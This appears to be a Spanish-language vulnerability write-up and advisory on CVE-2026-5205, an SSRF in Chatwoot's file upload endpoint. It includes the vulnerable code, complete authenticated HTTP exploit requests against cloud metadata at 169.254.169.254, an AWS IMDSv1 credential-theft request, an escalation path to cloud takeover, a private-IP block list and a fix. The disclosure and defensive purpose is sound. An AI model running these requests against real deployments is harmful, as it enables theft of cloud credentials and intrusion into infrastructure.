CVE-2026-5205: SSRF crítica en las cargas de archivos de Chatwoot
Un análisis en profundidad de una vulnerabilidad crítica de Server-Side Request Forgery (SSRF) en el endpoint de carga de archivos de Chatwoot (≤ v4.12.1). El endpoint /api/v1/accounts/:id/upload acepta un parámetro external_url validado únicamente mediante una comprobación del esquema, lo que permite a cualquier agente autenticado forzar al servidor a solicitar URL internas arbitrarias. El cuerpo completo de la respuesta se devuelve en banda a través de blobs de ActiveStorage, convirtiendo el endpoint de carga en un proxy de lectura completa. La explotación en vivo en un droplet de DigitalOcean confirmó la exfiltración en banda de metadatos de la nube, incluidos el ID del droplet, el nombre de host, las claves públicas SSH y los paquetes completos de metadatos. Corregido en v4.13.0.
CVE-2026-5205
Chatwoot: SSRF crítica en /api/v1/accounts/:id/upload
26 de marzo de 2026 · CWE-918 · Chatwoot ≤ v4.12.1
| Campo | Detalles |
|---|---|
| Debilidad | CWE-918: Server-Side Request Forgery |
| Severidad | Alta |
| Afectado | Chatwoot ≤ v4.12.1 |
| Corregido | v4.13.0 |
| Autenticación | Agente (rol con menor privilegio) |
| Componente afectado | app/controllers/api/v1/accounts/upload_controller.rb |
La historia
Empezó con un endpoint de carga de archivos y un parámetro en el que no se debería haber confiado.
En Ostorlab, estaba revisando la base de código de Chatwoot, la plataforma de código abierto para la relación con clientes que se presenta como alternativa a Intercom. Mientras rastreaba los flujos de datos de la aplicación, llegué al controlador de carga de archivos. El endpoint en /api/v1/accounts/:id/upload acepta un parámetro external_url: le das una URL, y el servidor obtiene el recurso, lo almacena como un blob de ActiveStorage y te devuelve una file_url para descargar el resultado.
La pregunta surgió de inmediato: ¿qué impide que esto solicite http://169.254.169.254/?
La respuesta: nada. Una única función, validate_uri, se interponía entre la entrada del usuario y una solicitud HTTP saliente. Comprobaba el esquema de la URL. Eso es todo. Sin validación de nombre de host. Sin bloqueo de rangos de IP. Sin protección contra DNS rebinding. El servidor obtenía con gusto cualquier URL http:// o https:// y almacenaba la respuesta y la devolvía a quien la solicitara.
Y a diferencia de las vulnerabilidades de SSRF ciega, en las que el atacante tiene que inferir la respuesta mediante canales laterales, esta devuelve el cuerpo completo de la respuesta en banda a través del blob de ActiveStorage. No se necesita exfiltración fuera de banda. No hace falta ningún ataque de temporización. El servidor obtiene los datos, los almacena y te los entrega en bandeja de plata.
Desplegué un chatwoot/chatwoot:latest sin modificar en un droplet de DigitalOcean y confirmé toda la cadena de explotación: seis solicitudes consecutivas al servicio de metadatos, cada una devolviendo datos reales de la infraestructura a través de la URL del blob. ID del droplet. Nombre de host. IP pública. Claves públicas SSH. El paquete JSON de metadatos completo. Todo legible con una simple solicitud GET.
El hallazgo se envió al equipo de seguridad de Chatwoot mediante un GitHub Security Advisory. Se confirmó que el problema ya había sido reportado y corregido en v4.13.0. Este artículo documenta la vulnerabilidad tal como la encontré: el código vulnerable, la cadena de explotación y la prueba en vivo sobre infraestructura real.
La vulnerabilidad: SSRF mediante el parámetro external_url (CVE-2026-5205)
El destino (sink)
El endpoint de carga de archivos de Chatwoot en /api/v1/accounts/:id/upload acepta un parámetro external_url. El servidor obtiene la URL en el lado del servidor usando open-uri de Ruby, almacena el cuerpo de la respuesta como un blob de ActiveStorage y devuelve la URL del blob directamente a quien hizo la solicitud. El atacante puede entonces seguir el file_url para leer la respuesta original sin procesar: exfiltración completa en banda.
Rastreando el flujo de datos
El código vulnerable se encuentra en app/controllers/api/v1/accounts/upload_controller.rb:
def validate_uri(uri)
raise URI::InvalidURIError unless uri.is_a?(URI::HTTP) || uri.is_a?(URI::HTTPS)
end
def fetch_and_process_file_from_uri(uri)
uri.open do |file| # open-uri fetches ANY http(s) URL incl. 169.254.169.254
create_and_save_blob(file, File.basename(uri.path), file.content_type)
end
end
Eso es todo. validate_uri verifica que la URL use http:// o https:// y nada más. Sin validación de nombre de host. Sin comprobación de rango de IP. Sin lista de permitidos (allowlist). http://169.254.169.254/metadata/v1/id pasa esta comprobación sin ni siquiera despeinarse.
uri.open (de open-uri) realiza una solicitud HTTP GET real a cualquier URL que pase la comprobación del esquema. La respuesta la consume create_and_save_blob, que almacena el cuerpo sin procesar como un blob de ActiveStorage. La file_url del blob se devuelve en la respuesta JSON, lo que otorga al atacante acceso directo al cuerpo completo de la respuesta original.
El servidor responde con:
{ "file_url": "...", "blob_id": "..." }
Siguiendo file_url se obtiene el cuerpo original sin procesar. Ese es todo el canal de exfiltración, integrado en el flujo normal de respuesta de la aplicación.
La ironía: el código de Enterprise tiene protección, el núcleo no
La ironía duele. La edición Enterprise de Chatwoot ya contiene una protección adecuada contra SSRF en enterprise/lib/captain/tools/http_tool.rb:
PRIVATE_IP_RANGES = [
IPAddr.new('127.0.0.0/8'), # IPv4 Loopback
IPAddr.new('10.0.0.0/8'), # IPv4 Private network
IPAddr.new('172.16.0.0/12'), # IPv4 Private network
IPAddr.new('192.168.0.0/16'), # IPv4 Private network
IPAddr.new('169.254.0.0/16'), # IPv4 Link-local (cloud metadata)
IPAddr.new('::1'), # IPv6 Loopback
IPAddr.new('fc00::/7'), # IPv6 Unique local addresses
IPAddr.new('fe80::/10') # IPv6 Link-local
].freeze
def check_private_ip!(hostname)
ip_address = IPAddr.new(Resolv.getaddress(hostname))
raise 'Request blocked: hostname resolves to private IP address' if
PRIVATE_IP_RANGES.any? { |range| range.include?(ip_address) }
end
Cobertura completa de IP privadas. Resolución DNS antes de la comprobación. Exactamente lo que necesitaba validate_uri. Pero esta protección estaba limitada al módulo de herramientas de IA de Enterprise, y nunca se aplicó al controlador de carga de archivos, dejando totalmente abierta la ruta de descarga de external_url.
La corrección estaba en la misma base de código. Simplemente no estaba conectada.
Explotación en vivo: droplet de DigitalOcean
Probé esto contra un despliegue sin modificar de chatwoot/chatwoot:latest en un droplet de DigitalOcean. Sin configuración especial, sin ajustes modificados; solo el docker-compose.production.yaml predeterminado. Los resultados hablan por sí solos.
Entorno de pruebas
| Propiedad | Valor |
|---|---|
| Proveedor | DigitalOcean |
| Región | lon1 |
| ID del droplet | 552923997 |
| Nombre de host | ubuntu-s-2vcpu-4gb-120gb-intel-lon1-01 |
| IP pública | 167.99.195.252 |
| Imagen | chatwoot/chatwoot:latest (docker-compose.production.yaml predeterminado) |
| Atacante | agent@acme.test (rol 0: agente, no administrador) |
Paso 1: autenticarse como agente de menor privilegio
POST /auth/sign_in HTTP/1.1
Content-Type: application/json
{"email":"agent@acme.test","password":"Password1!"}
Cabeceras de respuesta capturadas:
access-token: zNicAlY5gBHQvFSspta63g
client: KHysYvoMt2zIkl4yAiJM5Q
uid: agent@acme.test
token-type: Bearer
El atacante no necesita acceso de administrador. El rol de agente con el privilegio más bajo es suficiente para llegar al endpoint de carga de archivos.
Paso 2: lanzar solicitudes SSRF contra el servicio de metadatos de DigitalOcean
Las seis solicitudes usan la misma plantilla autenticada:
POST /api/v1/accounts/1/upload HTTP/1.1
Host: 167.99.195.252:3000
access-token: zNicAlY5gBHQvFSspta63g
client: KHysYvoMt2zIkl4yAiJM5Q
uid: agent@acme.test
token-type: Bearer
Content-Type: multipart/form-data
external_url=<TARGET>
El servidor responde con { "file_url": "...", "blob_id": "..." }. Siguiendo file_url se obtiene el cuerpo original sin procesar: la respuesta completa del servicio de metadatos.
Resultados: seis solicitudes consecutivas de exfiltración de metadatos
| # | Objetivo de external_url |
Cuerpo del blob devuelto |
|---|---|---|
| 1 | http://169.254.169.254/metadata/v1/id |
552923997 |
| 2 | http://169.254.169.254/metadata/v1/hostname |
ubuntu-s-2vcpu-4gb-120gb-intel-lon1-01 |
| 3 | http://169.254.169.254/metadata/v1/region |
lon1 |
| 4 | http://169.254.169.254/metadata/v1/interfaces/public/0/ipv4/address |
167.99.195.252 |
| 5 | http://169.254.169.254/metadata/v1/public-keys |
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDGORTi7ekb1WsK+3qrDp4IKdaRt/OoAVf0SNSAGuMGd soop@soop |
| 6 | http://169.254.169.254/metadata/v1.json |
Paquete completo de metadatos de DO (droplet_id, vendor_data cloud-init, public_keys, interfaces, dns, …) |
Cada una de las respuestas (el ID del droplet, el nombre de host, la IP pública, la clave pública SSH y el JSON de metadatos completo) llegó a través del blob de ActiveStorage, legible por el atacante con una simple solicitud GET a file_url.
Ejemplo completo de solicitud/respuesta: exfiltración del ID del droplet
Solicitud:
POST /api/v1/accounts/1/upload HTTP/1.1
Host: 167.99.195.252:3000
access-token: zNicAlY5gBHQvFSspta63g
client: KHysYvoMt2zIkl4yAiJM5Q
uid: agent@acme.test
token-type: Bearer
Content-Type: multipart/form-data
external_url=http://169.254.169.254/metadata/v1/id
Respuesta:
{
"file_url": "http://167.99.195.252:3000/rails/active_storage/blobs/redirect/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBCdz09IiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--218cce180cd1a069d870bace8d47a23c3f0ac368/id",
"blob_id": "eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBCdz09IiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--218cce180cd1a069d870bace8d47a23c3f0ac368"
}
Al obtener file_url:
552923997
El ID del droplet, confirmado en el panel de control de DigitalOcean. Datos reales, exfiltrados en banda, desde una instalación predeterminada de Chatwoot.
Escalada: de SSRF a la toma de control de la cuenta de nube
AWS IMDSv1: el peor de los casos
En instancias alojadas en AWS EC2, ECS, Lambda o Elastic Beanstalk con IMDSv1, esta SSRF se convierte en una vía directa hacia la toma de control completa de la cuenta de nube:
POST /api/v1/accounts/1/upload HTTP/1.1
access-token: zNicAlY5gBHQvFSspta63g
client: KHysYvoMt2zIkl4yAiJM5Q
uid: agent@acme.test
token-type: Bearer
Content-Type: multipart/form-data
external_url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
El servicio de metadatos devuelve credenciales IAM completas, y como la SSRF de carga de archivos devuelve el cuerpo completo de la respuesta en banda, el atacante las lee directamente desde file_url:
{
"Code": "Success",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIAIOSFODNN7EXAMPLE",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"Token": "AQoXnyc4lcK4w...",
"Expiration": "2026-04-01T00:00:00Z"
}
La ruta de escalada a partir de ahí:
SSRF → AWS IMDSv1 credentials
→ Attacker has AWS IAM role keys
→ Role has S3/EC2/Lambda/ECS permissions
→ Deploy backdoor Lambda / modify EC2 user data
→ Full RCE on cloud infrastructure
Impacto
| Escenario | Impacto |
|---|---|
| AWS IMDSv1 (sin límite de saltos) | Crítico: robo de credenciales del rol IAM, toma de control completa de la cuenta de AWS |
| API de metadatos de GCP | Crítico: robo de tokens OAuth de cuentas de servicio |
| IMDS de Azure | Crítico: robo de tokens de identidad administrada |
| Metadatos de DigitalOcean | Alto: robo de tokens de nube, claves SSH, datos de usuario |
| Pivote en la red interna | Alto: ataque a interfaces de administración de Redis, Postgres, Sidekiq Web, la API de K8s y microservicios internos |
| Exfiltración de secretos | Alto: lectura de endpoints internos de depuración/estado |
| Escalada de privilegios | Alto: las credenciales de nube robadas conceden acceso más allá de Chatwoot |
La corrección de CVE-2026-5205
La vulnerabilidad se corrigió en Chatwoot v4.13.0. El aviso canónico se rastrea como GHSA-6fj9-gj7h-q2hf.
Enfoque recomendado: validar la IP resuelta antes de solicitar el recurso
La corrección debería validar la IP resuelta frente a los rangos privados antes de que open-uri realice la solicitud:
require 'resolv'
PRIVATE_IP_PATTERNS = [
/\A127\./, /\A10\./, /\A172\.(1[6-9]|2\d|3[01])\./,
/\A192\.168\./, /\A169\.254\./, /\Afc00:/i, /\Afe80:/i
].freeze
def validate_uri(uri)
raise URI::InvalidURIError unless uri.is_a?(URI::HTTP) || uri.is_a?(URI::HTTPS)
resolved = Resolv.getaddress(uri.host) rescue nil
raise URI::InvalidURIError, 'SSRF: internal host blocked' if resolved && PRIVATE_IP_PATTERNS.any? { |p| p.match?(resolved) }
end
Mitigación a nivel de nube: habilitar IMDSv2
En AWS, exija IMDSv2, que requiere un PUT con una cabecera de token que open-uri no puede falsificar:
aws ec2 modify-instance-metadata-options \
--instance-id i-xxxx \
--http-tokens required \
--http-put-response-hop-limit 1
Esto es una mitigación, no una corrección: el acceso a servicios internos sigue siendo posible independientemente de IMDSv2.
Cronología
| Fecha | Evento |
|---|---|
| 2026-03-26 | Vulnerabilidad descubierta mediante revisión del código fuente |
| 2026-03-26 | Confirmada mediante explotación en vivo en un droplet de DigitalOcean (v4.12.1) |
| 2026-03-26 | Informe enviado mediante GitHub Security Advisory |
| 2026-04-22 | El equipo de Chatwoot confirmó que el problema ya había sido reportado y corregido en v4.13.0 |
| 2026-04-22 | Aviso cerrado; seguimiento canónico en GHSA-6fj9-gj7h-q2hf |
Referencias
| Recurso | Enlace |
|---|---|
| Aviso canónico | GHSA-6fj9-gj7h-q2hf |
| CWE-918: Server-Side Request Forgery | https://cwe.mitre.org/data/definitions/918.html |
| Hoja de referencia de OWASP para la prevención de SSRF | https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html |
| Explotación de AWS IMDSv1 | https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html |
| Directrices de reporte de seguridad de Chatwoot | https://developers.chatwoot.com/contributing-guide/security-reports |